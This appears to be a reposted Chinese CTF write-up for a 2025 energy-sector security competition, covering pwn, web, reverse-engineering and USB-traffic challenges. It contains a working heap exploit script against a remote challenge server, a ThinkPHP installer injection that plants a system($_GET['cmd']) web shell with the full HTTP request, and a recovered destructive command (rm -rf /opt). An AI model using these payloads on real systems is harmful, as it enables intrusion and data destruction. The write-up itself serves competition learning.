2025年能源网络安全大赛社会组部分wp

admin 2025年4月19日00:26:34评论11 views字数 8499阅读28分19秒阅读模式

pwn

pwn_milk

UAF的堆题目,只能编辑和释放前五个堆块,没有show函数可以leak,且没给libc版本。

注意到题目没开地址随机化,而且GOT表可以写,所以我们可以利用UAF对tcache来做一个任意地址读写,把存储堆信息的地址申请下来,然后在前五个地址里写上free函数got和其他got表项,然后把free函数写成题目的输出函数,再free有其他got表项的地址,就可以泄露出来libc地址,查到是2.31的libc,然后直接往free的got写one_gadget:

from pwn import *p = process("./pwn")p = remote("47.111.113.2"22860)defadd(size):    p.sendlineafter(b">> "b"1")    p.sendlineafter(b"Size: "str(size).encode())defedit(idx, content):    p.sendlineafter(b">> "b"2")    p.sendlineafter(b"Idx:"str(idx).encode())    p.sendlineafter(b"Content: ", content)deffree(idx):    p.sendlineafter(b">> "b"3")    p.sendlineafter(b"Idx:"str(idx).encode())print_func = 0x4012B1free_got = 0x0000004034e0malloc_got = 0x000000403518alarm_got = 0x000000403508atol_got = 0x000000403528list_addr = 0x403580# context.log_level = 'debug'add(0x38)add(0x38)free(1)free(0)edit(0, p64(list_addr))add(0x38)add(0x38)edit(1, p64(free_got) + p64(alarm_got) + p64(atol_got) + p64(list_addr))edit(0, p64(print_func))free(1)alarm_addr = u64(p.recvuntil(b'1.')[:-2].ljust(8b'x00'))success(f"alarm: {hex(alarm_addr)}")free(2)atol_got = u64(p.recvuntil(b'1.')[:-2].ljust(8b'x00'))success(f"atol: {hex(atol_got)}")libc = alarm_addr - 0x0e2d90success(f"libc: {hex(libc)}")one_gadget = libc + 0xe3b01edit(0, p64(one_gadget))free(0)p.interactive()
2025年能源网络安全大赛社会组部分wp

web

EasyInstall

thinkphp框架,打开是一个安装,审计安装代码发现如下函数:

/** * 写入配置文件 * @param  array $config 配置信息 */functionwrite_config($config$auth){if (is_array($config)) {//读取配置内容$conf = file_get_contents(MODULE_PATH . 'Data/db.tpl');//替换配置项foreach ($configas$name => $value) {$conf = str_replace("[{$name}]"$value$conf);        }$conf = str_replace('[AUTH_KEY]'$auth$conf);//写入应用配置文件if (!IS_WRITE) {return'由于您的环境不可写,请复制下面的配置文件内容覆盖到相关的配置文件,然后再登录后台。<p>' . realpath('') . './Modules/Common/Conf/db.php</p>            <textarea name="" style="width:650px;height:185px">' . $conf . '</textarea>';        } else {$filename = './Modules/Common/Conf/'.md5($_SERVER["REMOTE_ADDR"]).'.php';if (file_put_contents($filename$conf)) {chmod($filename0777);show_msg("配置文件 $filename 写入成功");            } else {show_msg('配置文件写入失败!''error');session('error'true);            }return'';        }    }}

会写一个配置文件,内容可控:

<?phpreturnarray('DB_TYPE'   => '[DB_TYPE]'// 数据库类型'DB_HOST'   => '[DB_HOST]'// 服务器地址'DB_NAME'   => '[DB_NAME]'// 数据库名'DB_USER'   => '[DB_USER]'// 用户名'DB_PWD'    => '[DB_PWD]',  // 密码'DB_PORT'   => '[DB_PORT]'// 端口'DB_PREFIX' => '[DB_PREFIX]'// 数据库表前缀);?>

尝试注入到数据库表前缀,构造','DB_TYPE'=>system($_GET["cmd"]),);?>

POST /install.php?s=/Install/step2.html HTTP/1.1Host: 121.43.235.216:28139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Cookie: PHPSESSID=bfdf95b17528cbbde374a47d2a6a2d1c; foo_db_config=think%3A%7B%22DB_PREFIX%22%3A%22%2527%252C%2529%253Bsystem%2528%2524_GET%255B%2522a%2522%255D%2529%253B%253F%253E%22%2C%22DB_PORT%22%3A%223306%22%2C%22DB_PWD%22%3A%221%22%2C%22DB_USER%22%3A%221%22%2C%22DB_NAME%22%3A%221%22%2C%22DB_HOST%22%3A%22127.0.0.1%22%2C%22DB_TYPE%22%3A%22mysqli%22%7DContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1Referer: http://121.43.235.216:28139/install.php?s=/install/step2.htmlCache-Control: max-age=0Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Origin: http://121.43.235.216:28139Content-Length: 242db%5B%5D=mysqli&db%5B%5D=127.0.0.1&db%5B%5D=1&db%5B%5D=1&db%5B%5D=1&db%5B%5D=3306&db%5B%5D=+%27%2C%27DB_TYPE%27%3D%3Esystem%28%24_GET%5B%22cmd%22%5D%29%2C%29%3B%3F%3E&admin%5B%5D=admin&admin%5B%5D=1&admin%5B%5D=1&admin%5B%5D=admin%40admin.com

访问后执行命令,找到suid程序/readflag:

2025年能源网络安全大赛社会组部分wp

这网页怪怪的

2025年能源网络安全大赛社会组部分wp

审计代码:

<?phpinclude("flaaaaaaag.php");highlight_file(__FILE__);$tmp1=$_POST['tmp1'];$tmp2=$_GET['tmp2'];$secret=289114;if(is_numeric($tmp1)){exit('Too early');}else{if($tmp1==$secret){include($tmp2);    }else{echo('you are close');    }} you are close
2025年能源网络安全大赛社会组部分wp

re

lava

linux64 upx壳,手动调试提取出key和密文,然后写出解密代码

__int64 sub_4020AC(){  v29 = __readfsqword(0x28u);  a3[0] = 0x7361457349346372LL;  a3[1] = 0xE9B979D03A640079LL;  n117 = 117;  n82 = 82;  n110 = 110;  v5 = -23;  v6 = -5;  n14 = 14;  n82_1 = 82;  n36 = 36;  n28 = 28;  v11 = -74;  n43 = 43;  v13 = -28;  v14 = -122;  v15 = -8;  n105 = 105;  n82_2 = 82;  n83 = 83;  n62 = 62;  n60 = 60;  v21 = -114;  v22 = -80;  n22 = 22;  n98 = 98;  v25 = -26;  v26 = -104;  n127 = 127;memset(a1, 032);  sub_419DC0(aPlsInputTheFla);                  // "Pls input the flag"  sub_410F40(    (__int64)"%32s",                            // "%32s"    (constchar *)a1);  sub_401EE3((char *)a1, 0x20uLL, (__int64)a3, 9LL);if ( (unsignedint)sub_4010E0() )  {    sub_419DC0(aError);                         // "ERROR"    result = 0LL;  }else  {    sub_419DC0(aGreat);                         // "GREAT"    result = 1LL;  }if ( __readfsqword(0x28u) != v29 )    sub_4549B0();return result;}unsigned __int64 __fastcall sub_401EE3(char *a1, unsigned __int64 i_1, __int64 a3, __int64 n9LL){unsigned __int64 result; // raxchar v5; // [rsp+2Bh] [rbp-125h]int v6; // [rsp+2Ch] [rbp-124h]int v7; // [rsp+30h] [rbp-120h]unsigned __int64 i; // [rsp+38h] [rbp-118h]char v9[264]; // [rsp+40h] [rbp-110h] BYREFunsigned __int64 v10; // [rsp+148h] [rbp-8h]  v10 = __readfsqword(0x28u);  sub_401CF5(v9, a3, n9LL);  v6 = 0;  v7 = 0;for ( i = 0LL; i < i_1; ++i )  {    v6 = (v6 + 1) % 256;    v7 = (v7 + (unsigned __int8)v9[v6]) % 256;    v5 = v9[v6];    v9[v6] = v9[v7];    v9[v7] = v5;    a1[i] -= v9[(unsigned __int8)(v9[v6] + v9[v7])];  }  result = __readfsqword(0x28u) ^ v10;if ( result )    sub_4549B0();return result;}unsigned __int64 __fastcall sub_401CF5(char *a1, __int64 a2, unsigned __int64 n9LL){unsigned __int64 result; // raxchar v4; // [rsp+27h] [rbp-119h]int i; // [rsp+28h] [rbp-118h]int j; // [rsp+28h] [rbp-118h]int v7; // [rsp+2Ch] [rbp-114h]char buf[256]; // [rsp+30h] [rbp-110h] BYREFunsigned __int64 v9; // [rsp+138h] [rbp-8h]  v9 = __readfsqword(0x28u);  v7 = 0;memset(buf, 0sizeof(buf));for ( i = 0; i <= 255; ++i )  {    a1[i] = i;    buf[i] = *(_BYTE *)(i % n9LL + a2);  }for ( j = 0; j <= 255; ++j )  {    v7 = (buf[j] + v7 + (unsigned __int8)a1[j]) % 256;    v4 = a1[j];    a1[j] = v4 + a1[v7];    a1[v7] += v4;  }  result = __readfsqword(0x28u) ^ v9;if ( result )    sub_4549B0();return result;}
defksa_variant(key: bytes) -> bytearray:"""Key scheduling algorithm (KSA) variant based on the C code provided."""    S = bytearray(range(256))    buf = bytearray((key[i % len(key)] for i inrange(256)))    v7 = 0for j inrange(256):        v7 = (buf[j] + v7 + S[j]) % 256        temp = S[j]        S[j] = (temp + S[v7]) % 256        S[v7] = (S[v7] + temp) % 256return Sdefrc4_variant_decrypt(ciphertext: bytes, key: bytes) -> bytes:"""Decrypt using the variant RC4 algorithm from C code."""    S = ksa_variant(key)    v6 = 0    v7 = 0    plaintext = bytearray(len(ciphertext))for i inrange(len(ciphertext)):        v6 = (v6 + 1) % 256        v7 = (v7 + S[v6]) % 256# swap        S[v6], S[v7] = S[v7], S[v6]        k = S[(S[v6] + S[v7]) % 256]# 解密:还原 a1[i] += k        plaintext[i] = (ciphertext[i] + k) % 256returnbytes(plaintext)# 示例:使用示例密文和密钥进行还原if __name__ == "__main__":    key = b"rc4IsEasy"    ciphertext = bytes([0x640x3a0xd00x790xb90xe90x750x520x6E0xE90xFB0x0E0x520x240x1C0xB60x2B0xE40x860xF80x690x520x530x3E0x3C0x8E0xB00x160x620xE60x980x7F])# 解密    plaintext = rc4_variant_decrypt(ciphertext, key)print("Decrypted:", plaintext.decode(errors='replace'))

加上flag提交:flag{2404c9b8af2dd18f92dd9018c85f76fe}

能源行业

usb

提取键盘流量,对照字典提取出命令是whoami && rm -rf /opt

2025年能源网络安全大赛社会组部分wp
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":""","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
2025年能源网络安全大赛社会组部分wp

原文始发于微信公众号(BeFun安全实验室):2025年能源网络安全大赛社会组部分wp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月19日00:26:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2025年能源网络安全大赛社会组部分wphttps://cn-sec.com/archives/3976249.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息